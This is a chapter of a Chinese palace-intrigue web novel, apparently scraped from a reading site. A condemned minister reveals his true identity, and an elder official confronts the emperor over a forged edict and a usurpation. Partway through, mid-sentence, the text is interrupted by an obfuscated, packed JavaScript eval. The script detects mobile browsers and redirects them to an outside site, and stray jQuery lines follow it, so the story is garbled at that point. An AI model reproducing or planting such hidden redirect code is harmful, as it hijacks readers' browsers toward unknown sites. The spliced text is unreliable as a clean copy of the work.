176. 御书房对峙

作品:《权臣难折(穿书)

    凉九回自己的堂口后,只领了三十鞭,这是在半步多从未有过的先例,半步多赏罚分明,赏的多,罚的也狠,这次的他犯了什么错,大家都心知肚明,可是不知为何,只三十鞭结束,东家对于过错,其实从不心慈手软,一时间,大家伙都在询问他是什么原因。


    凉九嘿嘿一笑,还告诉他们,东家身边有块免死金牌。


    那块免死金牌叫尤辜雪。


    消息以凉九的机关门为中心,迅速往外扩展,传起来如春风过大地,面积是何其的广。


    与此同时,章愈也听从了尤辜雪的话,以她的言论解释那场天罚,果然效果甚好,皇帝也展开笑颜,这算是他这么多天以来,听过的最好的消息。


    民间对于天火的声音渐小,皇帝静静的坐在自己的皇位上,摩挲着手里的龙纹扶手,半晌后才召了钱福海进来。


    崔仲儒毕竟曾为大雎的右相,念在其年事已高,给他留个全尸,改为赐毒酒。


    于恩行脚步缓慢的行走在宫道上,近几日来,皇宫出的事情多,他虽年迈,可到底不是聋瞎,太子这几日心绪不佳,整日恍惚,于恩行知道他颓废的原因,陈永安的死,给他造成了不可磨灭的打击。


    为君之道和他心中的大道,相差甚远。


    于恩行看不过去,劝了一番后才出来,正准备打道回府时,瞥见了端着酒酿,行色匆匆的钱福海,看他要去的方向是御史大狱,便也知道能让钱福海去送毒酒断命的人是谁了。


    崔仲儒的学识渊博,其实从某些方面来说,他和他算的上是知己,只是想不到,他居然敢谋害太子,今日的阳光好,昔日的旧友,就当是送他一程吧。


    与钱福海寒暄几句后,于恩行随他一起去了大狱之中,似乎经过一个冬日的掩藏,大狱之中的霉味和潮湿感更重,他一进去就忍不住捂住鼻子,眼前烛火昏暗,他的脚步稍微不注意,就容易打滑,还是钱福海扶住了他,才不至于摔倒。


    崔仲儒被关在最里面的那间牢房,越靠近也就越黑暗,时不时还有几只老鼠窜出来,倒真是把他吓了一跳,而当他真正见到了崔仲儒时,心中大为震撼,眼前的人哪还有身为右相时的风光。


    他的一身囚衣脏污不堪,面上的污垢似乎因为干了湿,又湿了干,导致它有裂纹,却不曾往下掉,满头花白的头发凌乱无序,双眼无神,正坐在那堆草堆里,呆滞的看,也不知在看什么。


    听见牢门打开的声音,他才转动了几下干涩的眼珠,瞥见钱福海手中的毒酒,又见到了于恩行,他的脸上再无从前的温和,而是讥诮出声:“你来干什么?想瞧见我如何死的?”


    他说话的语气有些过于冲,于恩行与他相识甚久,从不曾见过他这样,钱福海见他这样,正欲开口维护,却被于恩行打断,让其出去,想跟他单独聊聊。


    于恩行不仅是两朝元老,还是太子的恩师,地位崇高,钱福海对他本就恭敬,也不多言,顺遂他的意愿,转身出去了。


    于恩行用袖子扫清牢狱中,那凳子上的灰尘,才缓缓地坐下,面对着他那张颓然的脸,长长的叹了一口气:“仲儒啊,你真是糊涂啊……”


    这番话落在崔仲儒的耳朵里,像极了一个天大的笑话,他嘲讽的笑了几声后,才缓缓地抬头,侧看他:“我糊涂?糊涂的人,应该是你吧?于恩行,于老?”


    这话说的突兀,于恩行一时间无法理解,他以为崔仲儒这么些天被关傻了,于恩行茫然的寻回自己的声音:“你这是何意?”


    崔仲儒缓慢的挪动了一下身子,让自己可以与他面对面的相视,而不急着回答他的问题,崔仲儒缓缓的理好了自己就的衣摆,用着目下他最端正的模样去看他,他的眼神里带着审判。


    “于老,于家几代皆为谏官,刚正不阿,忠于朝堂忠于百姓,可你扪心自问,于家到你这一辈,真的是扪心无愧吗?”崔仲儒面带讥笑,“连捏造遗诏这种事都能做得出来,为臣者不忠,你死后,如何面见于家的祖先?”


    闻言,于恩行内心一震,慌忙站起身,手心里逐渐渗出汗水,他不清楚为何这件事会被崔仲儒知道,当年的萧文祯对世家不屑一顾,始终秉持怀疑的态度,且无故诛杀,那时候是真的朝野上下人心惶惶,是风有川在其中周旋,缓和萧文祯与世家的关系,尽管收效甚微。


    后来萧文祯葬送大火之中,也是风有川冒着生命危险将帝后二人的尸骨救出,他当时看了,风有川的背后被整个烫伤了,如此真挚的人,当真罕见。


    萧文祯已死,而萧氏宗亲在当时夺位时,就已然是丧失殆尽,无人可继位,年幼的皇子也杳无音讯,为了国之大统,他做了此生以来,最为叛逆的抉择,那就是伪造遗诏,扶持风有川上位。


    他家世代为谏官,刚正不阿和忠诚是出了名的,加上朝中诸多大臣苦萧文祯已久,有他出头做担保,其他的世家也无人置喙什么。


    这件事他一直埋藏在心底,也是他于家最大的污点,可他战战兢兢的过了这许多年,看着大雎的建立,到它的如今还算繁荣,其实是不后悔的,只是崔仲儒的话,却把他埋藏在心底里的秘密直接挖了出来。


    “你……你怎么知道?”


    崔仲儒垂头,盯着他的眼神宛如地狱里向他索命的恶鬼,一字一句道:“我、是、萧、景、逸。”


    门外的钱福海等的有些着急,不懂于恩行和崔仲儒在聊什么,怎么这么久,皇帝下了任务,不完成他回去是要受罚的,这眼看着时间将近,他正想进去催催他的时候,于恩行满脸煞白的从牢狱中出来。


    他的脚步踉跄,行动不稳,出了牢门时还不小心摔了一跤,钱福海惊呼一声,连忙想上前搀扶他,却被他一把挥开了,那双老态龙钟的脸上,已然布满了泪水,他张大嘴巴,无声的哭泣,继而又擦干眼泪,接着往前奔走,那模样,像是压抑了天大的怒火。


    这边的人跌跌撞撞的闯出门,那边的钱福海已然将毒酒给崔仲儒端了进去……


    从牢狱出来后,本来还明媚的阳光已然消失了,巍峨的宫殿被乌云密布的苍穹笼盖,黑沉压抑的如同三十年前的那场大火之夜,火光透亮,将陈皇后的宫殿,烧成了灰烬。


    风有川正在御书房里批阅奏折,门外陡然间响起了于恩行悲怆的声音,高声大呼要面见陛下,于恩行从不会这样的没有礼数,如今是怎么了?


    疑惑之下,他挥手让人把他带了进来。


    一见他这风尘仆仆的样子,满脸的泪痕混着皱纹,像一片泥泞不堪的土地,一双浑浊的眼眸死死的注视着风有川,眸底的恨不加掩饰,话语是从牙缝里挤出来的。


    “我见过崔仲儒了。”


    风有川的背部一僵,批阅奏折的眼帘掀起,从他脸上看见了十足的愤恨,而且,从进门到现在,他不再尊称他一句陛下,也不曾下跪,这些君臣之礼,他都没有做,如此一来,风有川也明白崔仲儒与他说了什么。


    屏退了御书房里的人,风有川缓缓出声:“你待如何?”


    他这话问的平静,于恩行看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124218|165329||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不出他有一丝一毫的愧疚,想起自己于家世代的清名,如今竟然毁于他一人手里,于恩行的胸腔里就翻腾起无数的怒火,他脚步虽然蹒跚,却也用尽了力气冲到他的书案前,与他怒目而视。


    “风有川!你怎能如此?你怎能如此的大逆不道?!”


    于恩行因为言行激动,下巴上苍白的胡须也跟着颤抖,他双目通红的流下痛心疾首的眼泪,“前朝帝后,还有那满朝的文武百官,皆被你玩弄于股掌之间,你仗着前朝皇帝对你的信任,不教他化解君臣隔阂,反而借用米囊花这样的狠毒之物,加深他与君臣之间的恩怨,是你!是你一步步将景朝灭绝的!你笑看帝后葬身火海,屠杀萧氏皇嗣,什么天火,都是你做出来的把戏!风有川!”


    在他字字泣血的指责中,风有川的脸色愈发的冷沉,他不知道于恩行怎么好端端的会跑去和崔仲儒碰面,那人现在如同一条疯狗,逮谁咬谁,什么秘密都会倒出来,他谋朝篡位这件事,本可以瞒着于恩行一辈子,可谁曾想到,还是被捅了出来。


    风有川听着他的骂声,面上毫无反应,一言不发,只是眸底的杀气已然升腾。


    于恩行似乎是用尽了力气,他仰头,浑身仿佛被抽干了力气一般,望着顶上的壁画,一瞬间觉得自己罪孽深重,他腿脚不稳的跌坐在地上,嚎啕大哭:“风有川!是你将我变成了一个不忠不孝的畜生,是你将我于家的百年清名毁于一旦,你让我成为与你一样的弑君者,你让我成为家族的耻辱啊风有川!”


    双手握拳,于恩行狠狠的锤地,那双枯槁的手似是要砸穿地面才可以泄恨,他一改往日的端庄,此刻像极了一个精神失常的疯子,声嘶力竭的哭诉,凄厉的声音从御书房里传出,也惊住了外面巡逻的侍卫。


    但是,皇帝没有让他们进去,他们也就没动。


    他自幼读书,从小就被教导要匡扶道义,为百姓谋福祉,身为谏官,就是要成为君者身边的一面镜子,照之正衣冠,知长短利害,加以提点,所以,公正无私,刚正不阿,是他们自小就被刻在骨子里的。


    如今这满身的傲骨,让风有川砸的粉碎。


    风有川听他诉说了这么多,面上的神情丝毫没忏悔或者害怕,他只是放下手中的笔,身子往后靠去,语气冰冷道:“事情已然如此,况且,你不得不承认,我比萧文祯更适合做皇帝,我的大雎子民,安居乐业,我比他在位时做的更好,这也是你的功劳,不是吗?”


    “你住口!”于恩行厉声喝止,他激动到脸红脖子粗,还因为呼喊的太用力,导致咳了几声,“风有川,得位不正就是得位不正,任何的事情都有大白天下的时候,今日,哪怕就是拼上我的命,也要将你我的罪行昭告天下,是非黑白由世人定夺,萧氏的天下,需要一个清白。”


    风有川的从他几进门到现在,没有任何大起大伏的怒容,一直这样的冷静的看着他对自己指责。


    “你有想过后果吗?”风有川低沉着声音威胁道,“于家满门的性命,你也不在乎?”


    原以为这样可以让他稍微冷静一下,可没想到,于恩行满眼通红的瞪他:“我于家无过,你若有能耐给整个于家装上罪名,堵住天下悠悠之口,也算你的能耐,若不能,曾经的萧文祯就是你的下场,风有川,有些债,你是要还的。”


    于恩行舒缓了一下情绪,再度抬脸时,情视死如归,他用力撑起自己的身躯,站起来,纵使头发凌乱,也要站起身,昂首挺胸,在皇帝的注视下,不卑不亢的拉开门,出去了。